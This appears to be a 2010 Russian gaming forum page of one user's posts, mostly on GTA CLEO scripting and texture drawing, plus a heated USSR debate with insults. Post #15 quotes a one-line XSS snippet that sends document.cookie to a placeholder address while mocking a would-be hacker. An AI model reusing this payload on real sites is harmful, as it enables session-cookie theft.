#1 Re: Вопросы по скриптингу » Один вопрос » 08-06-2010 12:47

CLEO Xakep wrote:

так блин как менять размер созданной короны?

Не блинкай!
Размер менять через память, либо просто удалить старую, создать новую корону.

#2 Re: Вопросы по скриптингу » Один вопрос » 06-06-2010 13:05

Sw[ee wrote:

t]Теперь использую. Я про то, что почему после декомпиляции исходного скрипта комментарии исчезают? Вопрос остаётся открытым.

Потому, что компилятор компилирует код для компьютера, а ему все эти комментарии, описание параметров опкодов и т. д. ненужны. Только данные.
Попробуй включить в настройках СБ добавление доп. информации в файл, возможно поможет.

#3 Re: Вопросы по скриптингу » Один вопрос » 06-06-2010 10:19

2Sw[ee]t, есть такая штука, как исходный код. Почему не используешь его?

#4 Re: Вопросы по скриптингу » Один вопрос » 20-05-2010 08:26

RAGE - Rockstar Advanced Game Engine
Движок, на котором сделана GTA4, Red Dead Redemption и Максим ИсаехзКакЕгоПоБатьке Пэйн 3

#5 Re: Вопросы по скриптингу » Один вопрос » 19-05-2010 17:47

~AquaZ~ wrote:

а где звуки найти?
З.Ы. Надеюсь, не в exe?

Зря надеешься.

#6 Re: Справочная информация » Ресурсы и структуры GTA IV » 15-05-2010 16:44

Как утверждал автор занозы, он не нашел, где в wtf файле хранятся настройки экстр(ну чтобы они одновременно например появлялись). Наверно опять всё зашито.
GTA 4 меня всё больше разочаровывает в плане модинга:cry:

#7 Re: Справочная информация » Ресурсы и структуры GTA IV » 15-05-2010 09:05

Я извиняюсь за подъем старой темы, но появился вопрос. Меня интересует, как организована работа экстра деталей транспорта(extra1-9). Как они комбинируются (ведь на разных машинах они появляются в разных вариация) и самый главный вопрос - где и как это всё можно отредактировать?

#8 Re: Серия GTA » XLive Wrapper / XLiveLess » 14-05-2010 20:51

последний - 0.999b5

А где-ж таковым разжиться можно? Если он конечно доступен для широких масс.

#9 Re: Беседка » C победой друзья! » 12-05-2010 20:01

@listener, кто-ж отрицает, что гадостей в СССР не было(может я где то это утверждал?)? И забывать их не надо. Но если там были гадости, то это не значит, что "хорошести" надо перечеркнуть, отрицать их. Нет? Да, оно было по другому, но вот зачем откровенно поливать грязью то?
@Dageron, а вот скажите, откуда у вас такая ненависть к СССР? Может у Вас родственников репрессировали? Или у Вас отняли ваше состояние? Или Вы просто много читаете либеральных газет? Спорить лично с Вами больше не буду, конструктивного разговора у нас не получиться.

#10 Re: Беседка » C победой друзья! » 12-05-2010 16:59

Dageron, а разве Вы сами рассуждаете не как дилетант? Или Вы просто, извините, либераст? В корень смотрите, а видите только верхушку. Говорите красные развалили страну? А кто тогда создал СССР? Страну, у которой было атомное оружие, которая первой запустила в космос человека, победила в той же ВОВ? Страну, которая обеспечила своим гражданам бесплатные медицину и образование(а вы знаете, что бесплатное образование в российских школах фактически отменено?), которая старалась обеспечить всем работу? Или скажите что в войне СССР победила благодаря одним штрафбатовцам, наука держалась только на шаражках, а народ жил в нищете и страхе? И так все 70 лет? А кто же тогда настоящий правитель? Уж не ВВП и ДАМ ли?

Заметьте, глупо рассуждать однобоко - в СССР были недостатки, как и в ЛЮБОЙ стране. Но вот всё то хорошее, что было в СССР - этого не надо отрицать, это по меньшей мере глупо.

#11 Re: Беседка » C победой друзья! » 11-05-2010 20:48

@Dageron, "в то время" в СССР были ни подонки, а нормальный жесткий правитель. Перегибы были, но пользы в итоге осталось больше. Подонки - это те, кто такую могучую страну развалил, продал. Те, кто распродаёт наши ресурсы, кладя все средства себе в карман, и покупая футбольные клубы. Список можно очень долго продолжать.

Нет ни одного народа, который обогатился бы в следствие победы в войне.

Есть, и это - США. Как в прямом, так и в переносном смысле слова обогатились.

@reute70, википедия тебе в помощь(это официальная версия)

#12 Re: Беседка » C победой друзья! » 09-05-2010 17:25

listener, космонавт? good

P.S. А парад, парад то когда-ж устраивать? ^_^

#13 Re: Беседка » C победой друзья! » 09-05-2010 09:49

Ура, товарищи! Всех с самым великим праздником - С Днём Победы!

#14 Re: Серия GTA » XLive Wrapper / XLiveLess » 07-05-2010 00:22

Наверняка это уже известно, но на всякий напишу. Если поставить xliveless на IV и EFLC, то их сэйвы начинают конфликтовать(например если последний сделан на EFLC, то на IV при старте игры автоматом будет загружаться он, в следствии чего будет ошибка загрузки сохранения и игра запустит новую игру(извиняюсь за каламбур).
Или это только у меня?

#15 Re: Беседка » Тут был X|0r!!! И оставил "тут есть ххакеры" » 06-05-2010 22:30

[You must login to view hidden text.]

Дата рождения    1998-01-17

Это УЖЕ о многом говорит.

@CLEO Xakep,

<script>
x=document.cookie
test=open("blah-blah-blah",+x,1,1)
</script>

Это всё, что ты знаешь?

Читай книги, вместо пустого трёпа. Например "JavaScript. Подробное руководство" Девида Фленагана.

#16 Re: Вопросы по скриптингу » Один вопрос » 01-05-2010 17:58

Параметры камеры, для каждой машины, настраиваются в файле vehOff.csv. Хватит  флудить.

#17 Re: Вопросы по скриптингу » Один вопрос » 28-04-2010 20:26

~AquaZ~ смеешься? Ребенок посетил пару тематических форумов, и теперь считает себя кул хацкером.

#18 Re: Вопросы по скриптингу » Один вопрос » 26-04-2010 17:31

@Sw[ee]t, нет не предусмотрено.

Убрал enable_text_draw - теперь появляется, но довольно странно - Появляется сразу, а потом мягко выплывает ещё одна копия, перевёрнутая на 180...

Первая мгновенная отрисовка:

038D: draw_texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale colour 255 255 255 alpha 0

Вторая, постепенная:

for TmpVar = 1 to 255
  074B: texture tx_tah position tah_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar
  074B: texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar
end

опкод 074B выводит текстуры в перевернутом виде. Просто прибавляй 180.0 к rotation

#19 Re: Вопросы по скриптингу » Один вопрос » 26-04-2010 15:03

Если белые квадраты - то что-то с текстурами. Вывод работает. Проверяй имена, компрессию, расположение тхд-файла. Сделай всё по аналогии со стандартными

#20 Re: Вопросы по скриптингу » Один вопрос » 26-04-2010 13:14

~AquaZ~ wrote:

2flashTrash:
tx_numB и прочие - тоже целые числа.

Еще лучше сделать вместо

000A: 0@ += 1 
0019:   0@ > 255 
004D: jump_if_false @Noname_128

...

У меня вообще нет ничего подобного!

А это что?

for TmpVar = 1 to 255

тхд файл то так и не приложил...=)

#21 Re: Вопросы по скриптингу » Один вопрос » 26-04-2010 12:07

~AquaZ~ wrote:

2flashTrash:

038F: request_texture 'num_b'   as tx_numB
038F: request_texture 'num_bn'  as tx_numBN
038F: request_texture 'num_1'   as tx_num1
038F: request_texture 'num_1n'  as tx_num1N
038F: request_texture 'num_2'   as tx_num2
038F: request_texture 'num_2n'  as tx_num2N
038F: request_texture 'num_3'   as tx_num3
038F: request_texture 'num_3n'  as tx_num3N
038F: request_texture 'num_4'   as tx_num4
038F: request_texture 'num_4n'  as tx_num4N
038F: request_texture 'num_5'   as tx_num5
038F: request_texture 'num_5n'  as tx_num5N
038F: request_texture 'num_off' as tx_numOff
038F: request_texture 'arr1'    as tx_arr1
038F: request_texture 'arr1n'   as tx_arr1N

Так, а чему равны всякие tx_numB'ы? Они должны быть равны целому числу, это будет их идентификатор.
Еще лучше сделать вместо

000A: 0@ += 1 
0019:   0@ > 255 
004D: jump_if_false @Noname_128

так, чтобы переменная не вылезала за рамки

if
 0@ < 255
jf  @Noname_18E
0@ += 1
goto @Noname_128

#22 Re: Вопросы по скриптингу » Один вопрос » 26-04-2010 11:15

~AquaZ~ wrote:

2all:
Почему текстуры не выводятся?

03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture tx_tah position tah_posX TahSpdPosY scale TahSpdScale TahSpdScale colour 255 255 255 alpha 255
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale colour 255 255 255 alpha 255
TmpVar = 1
for TmpVar = 1 to 255
  03F0: enable_text_draw 1
  074B: texture tx_tah position tah_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar
  074B: texture tx_spd position spd_posX TahSpdPosY scale TahSpdScale TahSpdScale rotation 0 colour 255 255 255 alpha TmpVar
end

Так по приведенному куску всё правильно. Проверь имена текстур(может регистр влияет, хз), если всё в порядке, то приведи ВЕСЬ код, желательно с файлом текстур.

#23 Re: Вопросы по скриптингу » Один вопрос » 25-04-2010 18:47

Почему здесь текстуры выводятся как серые квадраты (или вообще не выводятся)?
Скорее всего ошибка в цикле for - в его теле не хватает опкода

03F0: enable_text_draw 1

так же проверь переменную TmpVar - там должно быть целое значение

#24 Re: Серия GTA » Как заставить работать Grand Theft Auto IV и эпизоды без тормозов. » 20-04-2010 20:55

2mfisto
Кэп, ты?
Любая прога отжирает оперативку, а так же, что особенно больно для 4ки, дополнительно нагружает процессор. Особенно последним "балуются" всякие антивирусы. Так что надо не интернет вырубать в первую очередь, а лишние процессы поубивать.

#25 Re: Модификации » [SA] Меняем модели копов на другие » 08-03-2010 08:20

GTASA wrote:

А возможно ли сделать, чтобы копы были разные?
Например, в Los Santos и San Fierro генерировались модели #LAPD1 #SFPD1, в Las Venturas и сельской местности - #LVPD1 #CSHER #DSHER #CDEPUT.

Они, вообще-то, и так разные.

Board footer

Powered by FluxBB